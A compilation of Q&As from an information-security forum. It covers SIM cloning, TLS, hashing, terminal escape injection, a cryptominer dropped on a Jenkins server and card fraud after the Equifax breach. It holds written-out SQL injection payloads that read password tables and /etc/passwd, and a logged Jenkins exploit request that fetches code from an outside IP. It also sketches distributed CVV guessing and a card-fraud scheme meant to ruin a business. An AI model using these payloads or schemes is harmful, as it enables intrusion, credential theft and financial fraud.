Protection from Sim Card Cloning My friend had a problem with her phone. Somehow it was acting weird, I knew someone was hacking her. I tried to help her by doing a PIN Lock and a factory reset of her android phone (version 6.0), but the day after, she received a SMS text message from her ISP saying that she was trying to access a feature that does not exist. How is it that the hacker is still able to get through her?

The problem your friend experiences does not look like "SIM card cloning". Two signs which may indicate that someone has cloned your SIM card are the following:

You see in your billing statement the calls/texts made from your phone which you did not make (however if you have a smartphone, this may also indicate that there is malware app running there, which generates those calls).
When your friends call you, your phone doesn't ring although they hear the phone is ringing. And when they text you, you do not receive texts (but if you turn your phone into airline mode and turn it back, you will receive the text sent after that).

If your SIM is cloned, nothing you could do with your phone would help; resetting the phone is completely useless. You should go to your operator and get a new SIM.

Now, regarding your issues:

  How I knew it was a hacker? unable to receive phone calls,

May be a network problem. However if the calls get through and someone else picks up the phone, may be the result of SIM cloning (but make sure someone or something did not enable call forwarding service)

  sms text message slow,
  screen changing on its own

This has nothing with SIM cloning.

  not being able to receive text message from some of her friends

If this means "I cannot receive texts from anyone from 2-3pm, even though I see in my billing the texts were received", this may be SIM cloning.

  sometimes receive a weird text WAP_push, etc

This looks more like malware or incompatibility between the handset and cell operator.


Is it worth setting the site to run under TLSv1.2 or is the latter already bullet-ridden? From the perspective of investing resources into making the web services run under the protocol; does it make much difference whether you implemented TLS vs running in the plain HTTP mode inside the firewall?

Granted a vile presence made it to the intranet, how easy could TLSv1.2 be broken through.

TLS 1.2 is probably still the best there is. Note that the idea behind the protocol itself is relatively safe. The problem lies within the details of the protocol.

There are several design decisions that are not all that great within TLS, like the idea of performing a MAC over the message / frames instead of over the ciphertext. The effect of that was that padding oracle attacks became a possibility. However corrected implementations of the protocol can avoid that. As far as I know there are no important vulnerabilities that cannot be patched.

As long as you keep your software up to date and choose a secure cipher suite and authentication method TLS 1.2 can still provide a lot of security. If it is easy to deploy then I would certainly not argue against it. If it is worth the cost is something that you will have to decide; it depends more on your situation (use cases, threat model, number of devices on the network, cost/benefit ratio etc.) if it is worth the cost in resources.


Do I really need an Anti-Virus software if I'm careful about where I browse? A friend told to me the following:

  I don't use Anti-Virus software at all, I am just careful about where I go and what I click on.

I've also heard this from other people as I've repaired their PC's and cleaned up the malware/viruses they've received from browsing to the "wrong" sites.  Finally I found this blog post that states:

  To be blunt: I refused to install any kind of antivirus or personal firewall software on most of my computers (but see Update 1/1/2012, below.) This included a Windows XP Home system that was used by my children as a web surfing / email / game system. I suffered zero infections during this time.

My question is, are there any documented studies that either prove or disprove these claims of being able to browse the internet carefully and having the same amount of risk of infection as that of browsing the internet with anti-virus software?

Note: I thought I remembered seeing a Screen Savers episode one time where they had a PC connected to the internet without any anti-malware or anti-virus and by the end of the show the computer was rendered useless but I couldn't seem to find it.

As mentioned in some of the comments, there are no sites which can be guaranteed safe. Even reputable sites have suffered through banner ads, coding mistakes, deliberate attacks etc. so the first problem is that you cannot trust any website. You can work out a level of likelihood of safety by looking at the code from a sandbox and following links, but many attackers write code that hides from debugging tools or from testing environments, and code often changes attack vector with time.

So, to the next part - do you need an antivirus? Absolutely - a huge number of machines connected to the Internet are infected and running as part of botnets. If you don't protect your machine it may end up attacking mine. If you cannot detect malware on your machine I would blame your detection techniques, not think that your machine was clean.

From SANS, Expected infection time for an unprotected machine on the Internet is sub-5 minutes! (survivaltime is calculated as the average time between reports for an average target IP address ... aka someone pinging your computer would count as an "infection")

Sure, AV is only one layer of security (or potentially 2 if you use AV at gateway and desktop) but all layers have value. Any that you miss increases the likelihood of successful compromise.


how to use hash passwords to retrieve keys from keystore or access database How do I hash the password for a keystore? How do I then use the hash to retrieve something from keystore? Similarly, how do I use a hashed password for accessing the database?

I have encrypted the password and stored the key in a keystore and I understand that this is not good design and better solution is to store the password in a hashed way and then use that.

Not sure how that is useful after it's hashed, i.e. how to compare and allow authenticated access?

You don't.  The entire point of hashing is to render the original difficult (hopefully very difficult) or impossible to recover.  Hashing is used for storing credentials that will be checked by a server.  The server gets the password in plain-text (over an encrypted connection) and then hashes it to see if it matches the hashed password it has on record for the user, this way, if the server is compromised, the entire database of passwords is not immediately available to the attacker.

Things like DB passwords and passwords to access other services would have to actually be stored encrypted, but unhashed.  Alternately and preferably, services could be asked for an authorization token (such as how oAuth or many other APIs work) that would allow for a particular client to access for that account, but not allow general access to the account.


Determine victim of port scan's OS I am taking part in a practice sandbox, and have a pcap file in Wireshark: with the traffic depicting a Vertical Port Scan. Is there anyway to find out the "victim"'s Operating System? The packets are all TCP SYNs, and I tried to filter http GET requests (information can be in User Agent) but there are none. Any help would be much appreciated.

Probably you should use http://lcamtuf.coredump.cx/p0f3/, this is a good tool for start to understand passive os detection, but bear in mind that there is techniques to fake the results but definitively a good starting point


What output can a program, when executed from a command line, output to generate behavior that is a vulnerability on the terminal emulator? Reading this post, titled "Fixing Unix/Linux/POSIX filenames", I came across a VERY interesting phrase by the author, which says:

  Oh, and don’t display filenames. Filenames could contain control characters that control the terminal (and X-windows), causing nasty side-effects on display. Displaying filenames can even cause a security vulnerability — and who expects printing a filename to be a vulnerability?!? In addition, you have no way of knowing for certain what the filename’s character encoding is, so if you got a filename from someone else who uses non-ASCII characters, you’re likely to end up with garbage mojibake

I've long suspected this to be the case, because sometimes accidentally running cat binary_file caused my terminal session to exit, or caused the terminal to CTRL+L itself, but I never had the knowledge to ask a sufficiently coherent question.

My question is: What output can a program, when executed from a command line, output to generate behavior that could be considered a vulnerability on the terminal emulator?

Please note I am not referring to pasting commands from websites into the command line.

I do not think that a software can send a Ctrl-Alt-Del to the system so easily, this event must come from a physical keyboard. However, what is sure is that with not-so-recent graphical terminal, such flow could be exploited to inject malicious commands.

The clue is that some terminal provide :
 - An escape sequence to update the window title,
 - Another escape sequence to report the window title back to the command line.

When a user uses a terminal sensible to this exploit (most well-known terminal have been corrected during the last few years), it is therefore possible to inject a command on the user's prompt using, for instance, a specially crafted file name (when doing a directory listing) or binary file (when using "cat").

The user would then still need to press "Enter" to execute the malicious commands, but usually there are other escape sequences allowing to trick the user (for instance empty the prompt string, change the command's foreground color to set it the same as the background, so the command itself is not visible, then display something like "Press enter to continue...").


Is it wise to log failed login attempts of non-existing accounts? In terms of application layer authentication, it is common to track failed login attempts to existing user accounts. However, I have not seen anyone tracking failed login attempts of non-existing user accounts (meaning those that cannot be identified using public identifier, e.g. email).

One drawback to logging failed user attempts is that some users type their password into the username field and press submit.   Sounds silly but it has happened enough times to be a concern.

This can happen with typing too quick, a password manager, or some other automated means.


How does an IDS system use PCAP to process malicious signatures? I have been wondering exactly how does an IDS system use packet captures (PCAP) to process and alert of malicious signatures?

To answer your question: The IDS knows different protocols so it can see what runs over them. It can also interpret pcaps. A pcap is just a fileformat. The IDS understands this fileformat and can see all these different protocols. From here it just starts reading them. If it sees a protocol it understands, it will analyse it.

It's no different in concept than with logs, just different type of fileformat.


SQL Injection Modify / Insert Table Values Is it possible to update a field in a MySQL database or insert a new row using SQL injection in this case:

The only protection in the PHP code is mysql_real_escape_string().
The query is constructed in double quotes: "select id from db where id = $id" not single string literal quotes.
The database is mysql (using mysql_query php call) so I don't think stacked queries is possible (correct me if I'm wrong).
Using mysql not mysqli.

I've tried using something like 1; update users set first_name = foo with no luck and tried passing in commas ' in hex and octal format with no luck: chr(0x27) char(0x27) chr(047) ascii tables.

Is it possible to actually update or insert under these conditions?

Query stacking, ie select * from tbl; update ... -- is forbidden by most database management systems. In order to enable query stacking in PHP/MySQL,  the application must use the mysql_mutli_query() function to execute the query.  This function is uncommon in the wild.
In SQL injection without query stacking, the attacker is limited by accessible query operators, and SQL functions. The tool SQLMap allows an attacker to access functionality exposed by SQL injection with an easy to use shell.  The example sql injection vulnerability provided maybe blind sql injection, which can be exploited with SQLMap.
In MySQL,  an attacker can append a union select to access other tables:
select id from db where id = 1 union select password from users

or a sub-select:
select id from db where id = (select password from users)

Additionally an attacker could read file using the load_file() function:
select from db where id = load_file('/etc/passwd')

Only select statements can use the into outfile query operator:
select from db where id = 1 union select password from users into outfile '/var/www/backup.txt'

The into outfile operator requires the use of single-quotes and cannot be used in a SQL injection exploit when mysql_real_escape_string() is used.
The paper Hackproofing MySQL is still relevant, and covers these attacks, and more.


Jenkins malicious process identification I have a Jenkins (v2.120) machine hosted on AWS which has what looks like a malicious process:

process has large CPU usage
killing it, respawns it (with same name)
restarting machine spawns it (with different name)
exec is located in /dev/shm (same name as process)
ps aux on process id returns [kworker/2:8] or similar
name is always three letters and 4 numbers (uvl8618, obl1740, etc)
runs as jenkins user (jenkins is under nginx which runs as www-data)

Running lsof command on it returns following:

obl1740    3188         jenkins   10u  IPv4  30574      0t0  TCP xxx.xx.xx.xxx:53080->128.199.142.71:80 (ESTABLISHED)

Tcpdump returned snippets containing 0FGVSN.bot.nu, some blobs, json, keep alive references, but nothing that I could find to help me identify it.

No cronjobs found on system.

Any help in identifying and/or annihilating threat is more than welcome (currently jobs are suffocated by high CPU usage of this process).

======================== EDIT =======================

New information:
Confirmed its a miner

root@xx.xx.xx.xx:/dev/shm# ll
total 1316
drwxrwxrwt  2 root     root   80 Feb 26 15:50 ./ drwxr-xr-x 15 root     root        2980 Feb 26 14:05 ../
-rw-------  1 postgres postgres    6928 Feb 26 14:06 PostgreSQL.742357302
-rwx------  1 jenkins  jenkins  1338400 Feb 26 14:13 obl1740*

root@xx.xx.xx.xx:/dev/shm# sudo -u jenkins ./obl1740 -h

Usage: xmrig [OPTIONS] Options:   -a, --algo=ALGO          specify the algorithm to use etc etc etc

We have checked the damn access logs (128... is an IP that miner is targeting):

root@xx.xx.xx.xx:/var/log/nginx# zcat access.log*gz | grep 128.199.142.71

128.199.142.71 - - [24/Feb/2019:16:14:07 +0000] "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='PFJHK',root='http://128.199.142.71/')%0a@Grab(group='LYXQH',module='LYLIW',version='0')%0aimport%20KJNME; HTTP/1.1" 200 10133 "-" "python-requests/2.18.4"

Traced it back to this github:
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC

So its a Jenkins exploit!

Tcpdump with miner config:

0x0000:  4500 00e9 221e 4000 4006 3219 ac1f 2aaa  E...".@.@.2...*.
0x0010:  80c7 8e47 d658 0050 1d95 b98b 4ca5 7353  ...G.X.P....L.sS
0x0020:  8018 00d3 e6b3 0000 0101 080a 3433 71ae  ............43q.
0x0030:  b6f9 1fa6 7b22 6964 223a 312c 226a 736f  ....{"id":1,"jso
0x0040:  6e72 7063 223a 2232 2e30 222c 226d 6574  nrpc":"2.0","met
0x0050:  686f 6422 3a22 6c6f 6769 6e22 2c22 7061  hod":"login","pa
0x0060:  7261 6d73 223a 7b22 6c6f 6769 6e22 3a22  rams":{"login":"
0x0070:  524d 3130 564d 4a54 222c 2270 6173 7322  RM10VMJT","pass"
0x0080:  3a22 7822 2c22 6167 656e 7422 3a22 5075  :"x","agent":"Pu
0x0090:  5342 6277 4656 5147 424d 6373 4676 222c  SBbwFVQGBMcsFv",
0x00a0:  2261 6c67 6f22 3a5b 2263 6e22 2c22 636e  "algo":["cn","cn
0x00b0:  2f32 222c 2263 6e2f 3122 2c22 636e 2f30  /2","cn/1","cn/0
0x00c0:  222c 2263 6e2f 7874 6c22 2c22 636e 2f6d  ","cn/xtl","cn/m
0x00d0:  7372 222c 2263 6e2f 7861 6f22 2c22 636e  sr","cn/xao","cn
0x00e0:  2f72 746f 225d 7d7d 0a                   /rto"]}}

Now we only need to figure out how to stop it...

=============================== END OF EDIT =============================

According to the information that you post on your message I will follow the next steps:

Drop the traffic of the process with iptables, at IP level, at process level, you have alternatives to do this.
Try to find the binary or script that correspond to the executed process, using lsof, also on you can use the information of /proc/
Check the parent of the process, this will give you information of which process runs the script.

Probably some other users will give you useful tips.


Card number leaked, any consequences? Someone I know made their credit card number available for a large audience. As described in this question, one can bill without CCV code.

So, given the card number and no other info (no CCV, no expiry date, no card holder name - she's not the card owner), can someone do any harm / purchase stuff using the card? Basically, what could be the consequences if someone is ill-minded and has resources?

I suppose expiry date is not a big deal since there are not many options (usually cards expire in 24 months, right?).

A merchant can authorize and validate monetary transactions with only the credit card number.  The only reason they collect the CVV, name, address, etc. is to protect themselves from fraud.

That being said, any transaction that a merchant submits can be disputed (by you) within 60 days.  The bank must respond within 30 days.  Meanwhile you are not liable for the amount.  The bank can perform what is called a "chargeback" to get the money back from the merchant-- if the merchant does not have adequate proof, it is pretty simple for the bank to get the money back.  If a merchant gets too many chargebacks, their merchant status is revoked and they can no longer use the Visa system.  Meanwhile your liability is zero.

If a malicious person has gotten your CC number, but nothing else, and that malicious person is not a Visa merchant, chances are he will not be able to do much with it, because, as stated earlier, merchants require the additional information to protect themselves.


List of vulnerable and "usable" hash functions Searching the internet I only saw tables of encryption/hashing families and the logic. I've seen a video recently from Computerphile about breaking passwords using dictionary rules and previously broken data dumps of passwords. By the end of the video, it was mentioned that MD5 and SHA1 hash algorithms aren't as safe any longer and that if you're using SHA1, you should move to SHA256.

I want to double check which Hash functions are strong, which ones are still usable, and which ones are no longer safe (may it be due to vulnerability to attacks or a massive leak happened, etc etc) in a nice table.

There doesn't seem to be a nice handy table for this and you would have to go through each algorithm that interests you and read the wiki page about it and figure out if it's still vulnerable or not.

Is there such a list?

TL;DR

If your data is a long message, or has at least 72 bits of entropy, use SHA-256.
If your data is a password use BCrypt, adjusting the work factor to take about 100ms.
If the input data has too little entropy, hashing (even with BCrypt) will not provide significant security.

weak passwords
all-digit PINs
banking account numbers

While it is hard to list all the hash routines, it is easy to list the most common routines, and even easier to recommend the one you should be using.

The SHA-2 family of hashes (SHA-256 through SHA-512) are considered strong General Purpose hash routines. SHA-256 works best for most purposes.

MD5 is quite weak, and SHA-1 is acceptable. While some folks may desire MD5 for being shorter (128 bits instead of 256), you are actually better off truncating a modern hash. Obviously it is better to use the full hash length of 256 bits.

Keep in mind, General Purpose hash routines such as MD/SHA are designed to be fast. For most computer programs, fast is considered good.

However, if the original input value has limited entropy (for example a 4 digit pin), then it will be very easy to brute-force (try all 10,000 possible input values and compare them to) the hash, thereby determining the otherwise secret data.

4 digit PIN = 13 bits of entropy (cannot be made secure enough by hash)
18 character truly random Hex string = 72 bits entropy
12 character truly random Base64 string = 72 bits entropy
8 character password from a lazy user = almost no entropy
11 character password with some common substitution tricks Tr0ub4dor&3 = roughly 28 bits of entropy
credit card number = not enough entropy so don't store even its hash
email message or any large text file = lots of entropy

Every bit of entropy means it takes twice as long to brute-force that data.

How long it takes to brute-force depends on speed of attacker hardware, and how fast the hash is. So,

If your input data has 72 bits of entropy or better, just use SHA-256.
If your input data has less entropy, or unreliable entropy (user-provided passwords), then you should use a Slow Hash.

Slow Hash routines are adjustable, so that instead of completing the hash operation in a few microseconds, it takes several milliseconds (I recommend about 100ms) on your production hardware. (note that attacker hardware will probably be much faster)

Here are some good Slow Hash choices.
Each has a means to adjust the processing time. (strength of the hash)

Repeat your SHA-256 (or SHA-512) hash many many times.
This is straight-forward to implement, and considered a reasonable technique. (despite the fact that SHA was designed to be fast)
BCrypt (commonly recommended slow hash)
SCrypt (newer (less proven), designed to be GPU-resistant due to RAM requirements)
PBKDF2 (older, good alternative to BCrypt)

Note: Optimization of your hash function is important. Use the natively compiled version of BCrypt, not one 'written in' a high level language (i.e. JBCrypt was written in Java), as the Natively Compiled version (written in C/C++, with proper linking to your high-level language) will be more efficient, therefore allowing you to compute a higher (stronger) work factor in the same amount of time.

It is common to add Salt to a hash. This is unique, but not secret, and is added to the password before the hash is generated. In this way, if an attacker steals your database and runs brute-force on all the hashes, he will have to run a separate brute for job for each Salt used, which will take him quite a bit longer than brute-forcing all the passwords in a single job.


How many characters should a password be? I use the lastpass password manager. Lastpass can create a password from 10-100 characters. I would like to know what is the recommended value. I had a look a look at some questions like this and I didn't find any good answers.

This is not a question about which password manager is best

As long and as complex as allowed

You're using a password manager, so opt for the best you can do based on the limitations imposed by the website. If it will take you just as long to generate an 8 character password as a 100 character password that meets the requirements, it would be silly to go with less entropy for the sake of meeting some artificial limit you put on yourself.


Is being able to access /proc/ in Linux a security breach? As a user, I can run ls proc and read the /proc directory of the hosting server and read most of the data inside it (~90%).

> ls /proc
1 acpi cpuinfo execdomains ioports kmsg mdstat net scsi sys uptime
21 buddyinfo crypto fb irq kpagecgroup meminfo pagetypeinfo self sysrq-trigger version
23 bus devices filesystems kallsyms kpagecount misc partitions slabinfo sysvipc version_signature
231 cgroups diskstats fs kcore kpageflags modules pressure softirqs thread-self vmallocinfo
232 cmdline dma interrupts keys loadavg mounts sched_debug stat timer_list vmstat
57 consoles driver iomem key-users locks mtrr schedstat swaps tty zoneinfo

Should I report it to the website owner or is it useless information about server hardware?

/proc is used to interact with the kernel and is required by a lot of tooling.

It is considered safe to access, the more sensitive data (eg: /proc/[pid]/* showing per-process information) having stricter permissions.

It is possible to further restrict permissions on /prod/[pid] directories using the hidepid=n mount-time option. (see man page for details).

You can ask the provider to tweak this option to the strictest setting, but I would not call it a security breach.


Security implications of not reusing SSL session in FTPS I've just run into a problem with our FTPS server refusing connections due to missing SSL session reuse. Our client actually should reuse them, but it just doesn't work. I'm well aware that it's not good for performance, but with currently tens of connections per hour, it has a very low priority.

So I solved it by configuring ProFTPd using

TLSOptions NoSessionReuseRequired

I wonder, are there any security implications?

There are potential issues with disabling session resumption for PASV mode FTP. These issues are solved by session resumption as it allows the server to know that the party that initiated the connection is the same one who is now transmitting data (as PASV mode uses multiple ports).
In general however, there are no security implications for disabling session resumption, although it will put a higher load on the server if it has to do a complete TLS handshake for each connection, especially if there are many connections. Its only purpose is to reduce connection latency.
There are two types of session resumption:

Session identifiers are the original technique for implementing session resumption. These identifiers are unique values a server gives to each client. The server will store the session information alongside the session identifier. When the client connects a second time, it presents the server with the session ID, and the server will resume the session.

Session tickets are an encrypted blob of data containing information about the session that the server gives to clients. The clients will cache this ticket and will send it to the server next time it connects. The server now only has to store the key to decrypt the ticket. This is similar to a session ID, but rather than the server storing each per-client session, the server offloads this storage to the client. This is the most common form of session resumption.

TLS 1.3 will additionally add a new type of session resumption, called 0-RTT.


Possible Vulnerability in the following Php/JS code I was practicing on one of the open source penetration testing frameworks bWAPP. I came across this code,

 $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
 echo $url;

I was able to find out a vulnerability in it. By using proxy, I was able to modify the HOST parameter in request body, I was able to reflect the same in my page. But, when I enter JS code or HTML code, I get an error BAD Request. So, my first question, Is this really a vulnerability ?

On moving to intermediate level, I discovered this piece of code, which was based on JS.

$url = "<script>document.write(document.URL)</script>";
echo $url;

Now, here I am not able to find any vulnerabilities with this piece of code.
I was able to prevent it from displaying, by turning off my Javascript in my browser. But, since it is not accepting any value from the user and JS based and running on client side, I wonder if there is a possibility of XSS.

Both codes are vulnerable, but neither is exploitable with most modern browsers.

In the first example, could exploit the echoing of REQUEST_URI. Exploitability depends on the browser not automatically encoding values before sending the request (see XSS via REQUEST_URI). Host Header Injection may also be possible.

In the second example, the code is accepting input from the user via document.URL. This is called DOM based XSS (but modern browsers will most likely URL-encode the URL, so exploitation may not be possible).


Is it possible to filter internet access on a mobile phone with a 3/4G connection with a proxy server? If you were to put a pfSense Squid Proxy Server with Squid Guardian on a DMZ and then point a cellphone with a 3/4G connection at it for SSL and HTTP with a self-signed CA certificate installed on it; assuming you have control of the phone, would it be possible to point it at the proxy server and keep it there?  I realize a transparent proxy is impossible in this case, but assuming you have a static IP or dynamic DNS address it would seem this is possible but I'm not sure.

When you're using a proxy server, it is just that a proxy. Everything will be forced to go through it, whether it is wired, wireless, 2G, 3G, 4G, LTE. The browser is configured to do the following:

phone (browser) --> go to Yahoo.com --> through this proxy (1.2.3.4)
proxy --> Internet --> I need this page
Yahoo --> Proxy <--> phone

The connection (wireless/wired/mobile) does not make a difference, all your phone would know that in order for it to get to the web, it needs to use this proxy. You will need to ensure the proxy server is always up otherwise no pages would be server.


What potential threats lie ahead after the hack of equifax in 2017? Having that literally every single US resident's information is now exposed to hackers and malicious social engineers. What are some threats that we will inevitable encounter in the coming months or years with this massive data breach?

Disclaimer: There is a lot of speculation involved with this one.

TL;DR:

A truckload of very useful data has been stolen. We don't really know who the attackers are and Equifax wasn't really helpful to provide transparency to customers. It might be different, when they interact with law enforcement (let's all hope so). If a well-organized group of hackers has the right tools and a cause, identity theft might become even more common that it is now, just because of the sheer mass of people affected. If you are one of them, take action, freeze your credit files and stay informed! In any case, a lot of money will be lost through credit card fraud. The only question is: how much? The amount will be determined by the actions of policy makers and credit reporting agencies in the near future. Hopefully they will learn from this event and take action as well.

At first we have to look at, what has been stolen from Equifax. According to this NYT article, as of the 7th of October we are talking about:

  According to the company, thieves took names, Social Security numbers,
  birth dates and addresses for up to 145.5 million people. They also
  helped themselves to some smaller number of driver’s license numbers.

  Thieves may have your credit card number, too; this is the case for
  more than 200,000 people, and Equifax has said that it let those
  people know by mail.

  Equifax has said that it has no evidence of a breach in its core
  consumer or commercial credit reporting databases, so your payment
  history is not floating around in the ether somewhere. Nor did the
  thieves get PINs that people use to unlock their frozen credit files.

Emphasis mine.

Wikipedia also mentions between 400,000 and 44 million(!) British residents whose data may have been compromised.

You could argue, that this information has a lot of potential to be incorrect. Equifax hasn't been the most transparent and trustworthy institution while handling this whole mess. But let's be faithful and hope this is all there is.

After gathering the information that we have been given until now, let's get to the real questions here:

What can one bad guy do with a name, a birth date, an address and:

one social security numer?
one credit card number?
one driver's license number?

What can a group of bad guys do with a million names, addresses, birthdays and all of the above?
What can a big group of bad guys do with a hundred million names and all of the above?

1.1. What can a bad guy do with a name, a birth date, an address and one social security numer?

You can do a whole lot of crazy stuff with this dataset. Apart from identity theft you can apply for a credit card, for a loan, open a bank account, rent a flat and so on and so forth. But: A service provider - for basically every kind of finance related service in the US - needs to access your credit files beforehand. That is why Equifax and most media outlets recommend to freeze your credit files if you are a victim of the breach[but this may be also a good idea if not]. As far as I understand the matter, if your files are frozen, no such services can be used.

1.2. What can a bad guy do with a name, a birth date, an address and one credit card number?

I'm not a 100% familiar with credit card fraud, but typically the most crucial part beside the data mentioned above is the 3-digit security number that is on the back of a credit card, typically known as the CVV (card verification value) or CSC (card security code). And, as far as the leaks go, they seem to be safe. But: As an attacker you could just start guessing the CVVs. I've found this article, that describes how a distributed guessing attack works. (In short: a webshop gives you five attempts before you get locked out, you guess 5 times, if you are lucky: hooray, if not, you move on to the next shop.) If you have 200,000 credit card numbers (plus names and everything else), you compile a big list of webshops, get a good ip range or some bots, start guessing today, and have all the CVVs in a week's time tops.

What then? You either start buying some nice gear or you get some inspiration here or from a lot of other sources around the web.

1.3. What can one bad guy do with a name, a birth date, an address and one driver's license number?

I'm not entirely sure how valuable/useful this information is. From what I've read, it seems that it's not that hard to come by. So this is probably the least of your concerns.

2. What can a group of bad guys do with a million names, addresses, birthdays and all of the above?

Now it gets in-te-res-ting! So far we have seen, that it is pretty easy to use the data that has been obtained from Equifax. But how big is the impact, if it is used in the most harmful towards customers and corporations way?
After large breaches of data most users typically don't change their login credentials[citation needed]. This has several reasons: 1. they are not aware of the situation, 2. they don't know that they are affected, 3. they are just too lazy. I assume that we will see the same behavior in regard to credit file freezes. This is highly speculative, but I would say, that a generous estimate would be, that maybe a third of the affected population freezes their credit files.
Let's do a little math, people!: 145M - (145M * 0,33) = 97,15M so this would leave roughly 100 Million people affected! A possible scenario for a big number (one million) of cards can be found in this wikipedia article (under Fraud). To give a short summary: on a very large amount of credit cards, a relatively low amount of money was charged. This amount was so low that it was just under the estimated threshold of when a credit card company would start a fraud investigation, if they suspect suspicious behavior ($9 vs. $10). The money was then transferred overseas and could not be traced by the authorities. This seems like an operation that can be done by a small team of not more than 10 people. The more manpower you have, the faster you can attack each credit card. This is one possible scenario. There are plenty of others.
The damage done in this case would be $1,800,000. That's a lot at first glance, but it is evenly distributed over a lot of people and several companies. So this will definitely not hurt the American economy as a whole. It gets problematic, if a malicious group starts targetting a small group of individuals or companies.
You want to ruin any medium sized company X with a webshop? Start ordering their products with a 100,000 credit cards over 6 months. This will be joyful for them at first. Company X thinks, they somehow made the deal of the century, selling all their products and making new ones as fast as they can, but when customers start to phone them 24/7, because they got some weird stuff in their mail that they never ordered and got charged 50 bucks as well, this will get ugly quickly.
With great money, comes great responsibility. Hackers oftentimes don't have any.

3. What can a big group of bad guys do with a hundred million names and all of the above?

The scenarios I mentioned before, can probably be done by a well-organized small group of people. We have seen big scale attacks that have been planned and executed by small groups of hackers. If you have a big (>15), well-organized group (or groups) of hackers with a cause, a lot of time and good equipment, they could do some serious work. Imagine this: what if 200,000 Americans were using their credit cards right now online in a concerted action? That could DDoS a lot of financial services, shops or banks. Or: You could donate a lot of money somewhere. These are only the sets of data, where the credit card data is available. If the bad guys are somehow able to open up bank accounts or to apply for a looooot of credit cards and use these, the damage could be really big. But this is a point, where the speculation gets probably a bit out of hand, so I will stop here.

One last thing I want to mention is the sale of compromised data.
A phenomenon we could observe after a significant breach, is that one single group of hackers was not able to make use of all the data they had stolen or they didn't even try to use the data at all. So what they did was this: Either they kind of "sorted" the stolen data Cinderella-style. The good ones go into the pot, the bad ones go into your crop. Everything that went into the crop was put into neat purchaseable portions. After a while bits and pieces of the once big chunk of compromised data was then found scattered over the dark net. Or they just sold everything there. If this happens, this might be good news, because less data in a lot of people's hands might be better, than all of the data in the hands of one small group.


Feasibility of persistent iOS malware which survives factory reset Generally speaking, when an iOS device is purchased, it will be a couple of security updates behind the latest version of iOS. This means that in many cases, out of the box an iOS device will be vulnerable to a jailbreak and installation of malware.

What is to prevent the following technique to install persistent malware on an iOS device (assuming physical access and posession of the passcode):

Jailbreak the device using an untethered jailbreak
Install software that replaces or modifies Springboard and Settings, as well as the actual malware
Replace or change the behaviour of the iOS update and factory reset features to either prevent those actions entirely, or reinstall the malware after they take place

I understand that iOS requires applications to be signed before they run, but presumably jailbreaking removes this restriction or adds new key pairs where the private key is known. So to my naive eye it might be practical to, for example, modify a couple of instructions in the Settings app, re-sign it using the new key added by the jailbreak, install this new version on the device, and replace Springboard with a version that links to it.

This all sounds too simple to be possible, and assuming that's the case I am interested in explanations of technical measures taken to prevent it.

Have you looked at iphonehacks.com and posted on their site? Once the device is jailbroken it is pretty much open season on the device. If you are thinking you can get malware on the device that persists past re-installing the genuine OS good luck. That would be a firmware hack and that is part of the reason that government agencies won't allow employees or contractors to use any phone manufactured in China.


Security of carrying passwords on person While in college I decided to have a randomly generated 16 character password. I used parts of that password in various sites. However, one of the sites was compromised so I had to change my password.

I now have a randomly generated passwords per site. As you can imagine, it was difficult to learn the passwords and I resorted to carrying them around until I had learned them. This was essentially a small piece a paper with random passwords in a row. Were these passwords compromised I'd be a VERY unhappy camper.

Suppose that I am determined on having a random set of passwords and not liking a row of passwords plainly visible. I was considering the option of instead creating a grid of randomly generated characters and using various sub strings in the data as passwords.

Here is a worked example:

Password Grid

bqzryXrMjs
wqpPcPW2tG
CYvLdxGsnZ
Hq9KDBJeN5
Z2v5H2BG6G
JYNyWGLqEa

Password: Start at (2,3).
Use every other character from left to right, wrapping rows as necessary.
Length 10.

Using these instructions I generate password:

9DJNZvHB6J

Note, that (2,3) was zero-indexed. Granted, those instructions are difficult to follow, but its just a skill to become better at. In practice I would use a larger grid and possibly a more complex pattern.

My question is how safe is this system. I know safe could mean lots of things. I'm not sure if cryptographically secure applies but I'm really just trying see if it would be reasonable to use this system to manage my passwords.

I can imagine a Bones episode where someone tracks my eye movements to determine what characters I'm reading... so suggestions like this are welcome but more practical/reasonable vulnerabilities are what I'm looking for.

Thanks!

EDIT #1

For the purposes of limiting the scope of the question suppose the following:

Passwords are of length 10
Grids are of dimension 20x20
The only instruction available is one similar describe above.
    Start at (x,y)
    Use every other character from left to right, wrapping rows as necessary.
    Length 10.

They are not allowed means that could be used to steal general private information such as a key logger, aggressive interrogation, etc.

The saying about passwords is that if you can remember it, it's not complicated enough.

Why not keep the list of passwords in a dedicated password manager software like KeePass?
This will encrypt the file and let you generate very long and randomized passwords for each and every site. You can carry both the software and the file on a USB stick instead of a piece of paper, the single master password to decrypt the file is the only thing stored in your head.


Is Two Factor Auth for RDP possible? Is two factor authentication possible when using RDP with a Windows server, say by using a time dependent code?

Yes, it is possible.

If you want to have two factor authentication, which is naively supported by Windows, you could chose to use smart cards or virtual smart cards.

As far as I know, to get one time passwords for RDP authentication you'll have to use third party solutions. For example, you could try Duo security Duo Authentication for Windows Logon and RDP. Alternatively, as paj28 pointed out, you could google another ready made solutions.


Securing the SOAP Messages One of my clients wants to encrypt few sensitive information which will be transferred through webservices / SOAP.

My client has the following suggestions:

Encrypt the sensitive data with AES 128-bit using CTR and Padding.
Each time unique key will be generated which will be passed along with original information.

My view is, what's the real use if you are already sharing the Key in Message, any one can decrypt the message using key (am I missing anything?). Any ideas, what should I suggest for them in such scenario for better and secure communication?

It's not related to any login info. But this is still important info that should be secured as much as possible with minimum impact on overall.

Web-Services come with plenty of standards for securing data - so why roll your own?  The WS-Security family of standards are supported by most Enterprise Service Buses (ESBs) out of the box and will ensure that you can integrate (which is the whole point of WS).

If you are using restful XML over HTTP (rather than SOAP) then just use the same security as you would if it were a web page.


How is Root CA installed on a client machine when it connects first time to a server? I read about server authentication over web and got to know that issuer Root CA should be imported into Trusted Root CA on both server and client machines for mutual authentication.

Now let's say it is banking application and user connects to the bank server for the first time:

Server returns server certificate to validate itself to client.
Client gets the certificate and validate with trusted Root CA authority which has signed this server certificate earlier.
Client sends its certificate and server validate with trusted Root CA authority which has signed this client certificate earlier.
Now communication starts.

Step 3 - I understand that trusted Root CA authority installed on the server when server gets deployed.

